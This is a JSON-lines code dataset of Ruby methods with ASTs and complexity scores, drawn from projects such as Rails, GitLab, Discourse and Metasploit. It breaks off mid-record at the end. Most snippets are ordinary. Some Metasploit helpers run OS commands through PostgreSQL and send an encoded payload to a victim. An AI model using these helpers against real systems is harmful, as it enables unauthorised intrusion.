{"repo_name":"discourse","file_path":"./repos/discourse/app/models/invite.rb","start_line":110,"raw_source":"def domain_matches?(email)\n    _, domain = email.split(\"@\")\n    self.domain == domain\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"domain_matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"domain\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}","id":"7a27a80e-5352-43ba-b4c7-daddc4a54fb3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/ability_check.rb","start_line":63,"raw_source":"def todo_list\n        hash = YAML.load_file(TODO_YAML)\n        return {} unless hash.is_a?(Hash)\n\n        hash.transform_values(&:to_set)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"todo_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"const\",\"children\":[null,\"TODO_YAML\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"transform_values\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_set\"]}]}]}]}]}","id":"3947774c-b921-480e-9c7d-b592354530ae"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":155,"raw_source":"def method_missing(name, ...)\n        name == :foo ? \"pass\" : super\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"forward_arg\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"str\",\"children\":[\"pass\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"723c15d5-8f25-4900-bf63-cd5e29451c10"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/primer/open_project/forms/dsl/input_methods.rb","start_line":56,"raw_source":"def single_date_picker(**)\n            add_input SingleDatePickerInput.new(builder:, form:, **decorate_options(**))\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"single_date_picker\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_input\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SingleDatePickerInput\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"builder\"]},{\"type\":\"send\",\"children\":[null,\"builder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form\"]},{\"type\":\"send\",\"children\":[null,\"form\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decorate_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]}]}]}]}]}]}","id":"74f40f0b-15bc-4255-bd00-8dd8d8428e4f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_plugins/lib/omni_auth/flexible_strategy.rb","start_line":85,"raw_source":"def dup\n      super.tap do |s|\n        s.extend FlexibleStrategy\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"FlexibleStrategy\"]}]}]}]}","id":"a8627eb4-ee40-4252-b65e-650ae22a99db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smtp_deliver.rb","start_line":20,"raw_source":"def initialize(info = {})\n    super\n\n    # Register our options, overriding the RHOST/RPORT from TCP\n    register_options(\n      [\n        OptAddress.new(\"RHOST\", [ true, \"The SMTP server to send through\" ]),\n        OptPort.new(\"RPORT\", [ true, \"The SMTP server port (e.g. 25, 465, 587, 2525)\", 25 ]),\n        OptString.new('DATE', [false, 'Override the DATE: field with this value', '']),\n        OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]),\n        OptString.new('MAILTO', [ true, 'The TO address of the email' ]),\n        OptString.new('SUBJECT', [ true, 'Subject line of the email' ]),\n        OptString.new('USERNAME', [ false, 'SMTP Username for sending email', '' ]),\n        OptString.new('PASSWORD', [ false, 'SMTP Password for sending email', '' ]),\n        OptString.new('DOMAIN', [false, 'SMTP Domain to EHLO to', '']),\n        OptString.new('VERBOSE', [ false, 'Display verbose information' ]),\n      ], Msf::Exploit::Remote::SMTPDeliver)\n    register_autofilter_ports([ 25, 465, 587, 2525, 25025, 25000])\n    register_autofilter_services(%W{ smtp smtps })\n\n    @connected = false\n  end","complexity_score":19.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The SMTP server to send through\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The SMTP server port (e.g. 25, 465, 587, 2525)\"]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Override the DATE: field with this value\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAILFROM\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The FROM address of the e-mail\"]},{\"type\":\"str\",\"children\":[\"random@example.com\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAILTO\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The TO address of the email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SUBJECT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Subject line of the email\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SMTP Username for sending email\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SMTP Password for sending email\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SMTP Domain to EHLO to\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Display verbose information\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"SMTPDeliver\"]}]},{\"type\":\"send\",\"children\":[null,\"register_autofilter_ports\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[25]},{\"type\":\"int\",\"children\":[465]},{\"type\":\"int\",\"children\":[587]},{\"type\":\"int\",\"children\":[2525]},{\"type\":\"int\",\"children\":[25025]},{\"type\":\"int\",\"children\":[25000]}]}]},{\"type\":\"send\",\"children\":[null,\"register_autofilter_services\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"smtp\"]},{\"type\":\"str\",\"children\":[\"smtps\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"e3ef0a31-254f-479e-a172-2fd3c8793b83"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/instances/moderation_notes_controller.rb","start_line":36,"raw_source":"def set_instance\n    domain = params[:instance_id]&.strip\n    @instance = Instance.find_or_initialize_by(domain: TagManager.instance.normalize_domain(domain))\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"instance_id\"]}]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@instance\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Instance\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagManager\"]},\"instance\"]},\"normalize_domain\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]}]}]}]}","id":"d5d6e9ae-63dd-46a9-b367-27ee2b0c03e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection/commit.rb","start_line":10,"raw_source":"def initialize(commit, diff_options:)\n          super(commit,\n            project: commit.project,\n            diff_options: diff_options,\n            diff_refs: commit.diff_refs)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]},{\"type\":\"kwarg\",\"children\":[\"diff_options\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_options\"]},{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"diff_refs\"]}]}]}]}]}","id":"7893b5fe-1ac2-4c41-a796-288d4727e139"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixture_set/table_rows.rb","start_line":27,"raw_source":"def model_metadata\n        @model_metadata ||= ModelMetadata.new(model_class)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"model_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@model_metadata\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ModelMetadata\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"model_class\"]}]}]}]}","id":"416bbd74-e432-46e7-83d9-48d5b6fe654a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/wordlist.rb","start_line":388,"raw_source":"def valid!\n          unless valid?\n            raise Metasploit::Framework::PasswordCracker::InvalidWordlist.new(self)\n          end\n          nil\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"PasswordCracker\"]},\"InvalidWordlist\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"8be56452-472b-46bf-86ed-b681dd65d262"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":356,"raw_source":"def log_site_text_change(subject, new_text = nil, old_text = nil, opts = {})\n    raise Discourse::InvalidParameters.new(:subject) if subject.blank?\n    UserHistory.create!(\n      params(opts).merge(\n        action: UserHistory.actions[:change_site_text],\n        subject: subject,\n        previous_value: old_text,\n        new_value: new_text,\n      ),\n    )\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_site_text_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subject\"]},{\"type\":\"optarg\",\"children\":[\"new_text\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"old_text\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"subject\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"change_site_text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_value\"]},{\"type\":\"lvar\",\"children\":[\"old_text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_value\"]},{\"type\":\"lvar\",\"children\":[\"new_text\"]}]}]}]}]}]}]}","id":"98f68c05-ef5c-4535-8926-b5cf9bb6b7cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/postgres.rb","start_line":392,"raw_source":"def postgres_sys_exec(cmd)\n    print_status \"Attempting to Execute: #{cmd}\"\n    q = \"select pg_temp.sys_exec('#{cmd}')\"\n    resp = postgres_query(q)\n    if resp[:sql_error]\n      print_error resp[:sql_error]\n      return false\n    end\n    return true\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"postgres_sys_exec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to Execute: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"q\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"select pg_temp.sys_exec('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"postgres_query\",{\"type\":\"lvar\",\"children\":[\"q\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"34209128-f418-45e9-bd84-41e4555bc45d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy.rb","start_line":132,"raw_source":"def miq_actions\n    miq_policy_contents.collect(&:miq_action).compact.uniq\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"miq_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_policy_contents\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_action\"]}]}]},\"compact\"]},\"uniq\"]}]}","id":"612d4eaf-2ebf-4b22-bf61-80a2416c90cf"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_ext_test.rb","start_line":95,"raw_source":"def test_sunday\n    assert_equal Date.new(2008, 3, 2), Date.new(2008, 3, 02).sunday\n    assert_equal Date.new(2008, 3, 2), Date.new(2008, 2, 29).sunday\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sunday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[2]}]},\"sunday\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[29]}]},\"sunday\"]}]}]}]}","id":"22aea055-83a8-4710-9c7a-6b37abb3826f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/managed_resources/delete_service.rb","start_line":81,"raw_source":"def log_error(details:)\n          logger.error(\n            message: \"Error deleting managed resources: #{details}\",\n            agent_id: managed_resource.cluster_agent_id,\n            environment_id: managed_resource.environment_id\n          )\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_error\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"details\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error deleting managed resources: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"agent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"managed_resource\"]},\"cluster_agent_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"managed_resource\"]},\"environment_id\"]}]}]}]}]}","id":"c5a6f033-471f-4296-b367-46b48b937881"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb","start_line":197,"raw_source":"def stage_final_payload(cli)\n    print_good(\"Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...\")\n    cli.put(payload.encoded + \"\\n\")\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stage_final_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending payload of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"4e065e13-f3e0-4d6a-8d97-06d3c7b1f3b7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/agent_capacity_policies_controller.rb","start_line":11,"raw_source":"def create\n    @agent_capacity_policy = Current.account.agent_capacity_policies.create!(permitted_params)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@agent_capacity_policy\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"agent_capacity_policies\"]},\"create!\",{\"type\":\"send\",\"children\":[null,\"permitted_params\"]}]}]}]}","id":"d1d62bed-e2f3-41ae-9a05-b1d6d1905bb5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":51,"raw_source":"def initialize(values, requester, options = {})\n    instance_var_init(values, requester, options)\n\n    unless options[:skip_dialog_load] == true\n      # If this is the first time we are called the values hash will be empty\n      # Also skip if we are being called from a web-service\n      if @dialogs.nil?\n        @dialogs = get_dialogs\n        normalize_numeric_fields\n      else\n        @running_pre_dialog = true if options[:use_pre_dialog] != false\n      end\n    end\n\n    unless options[:skip_dialog_load] == true\n      set_default_values\n      update_field_visibility\n    end\n  end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"requester\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_var_init\",{\"type\":\"lvar\",\"children\":[\"values\"]},{\"type\":\"lvar\",\"children\":[\"requester\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_dialog_load\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dialogs\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dialogs\",{\"type\":\"send\",\"children\":[null,\"get_dialogs\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_numeric_fields\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use_pre_dialog\"]}]},\"!=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@running_pre_dialog\",{\"type\":\"true\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_dialog_load\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_default_values\"]},{\"type\":\"send\",\"children\":[null,\"update_field_visibility\"]}]}]}]}]}","id":"10f63b4b-1bdd-45ba-b861-f75be04d9950"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":925,"raw_source":"def stop_refresh_worker_queue_on_change\n    if refresh_worker_class && !new_record? && default_endpoint.changed.include_any?(\"hostname\", \"ipaddress\")\n      _log.info(\"EMS: [#{name}], Hostname or IP address has changed, stopping Refresh Worker.  It will be restarted by the WorkerMonitor.\")\n      stop_refresh_worker_queue\n    end\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_refresh_worker_queue_on_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refresh_worker_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_endpoint\"]},\"changed\"]},\"include_any?\",{\"type\":\"str\",\"children\":[\"hostname\"]},{\"type\":\"str\",\"children\":[\"ipaddress\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EMS: 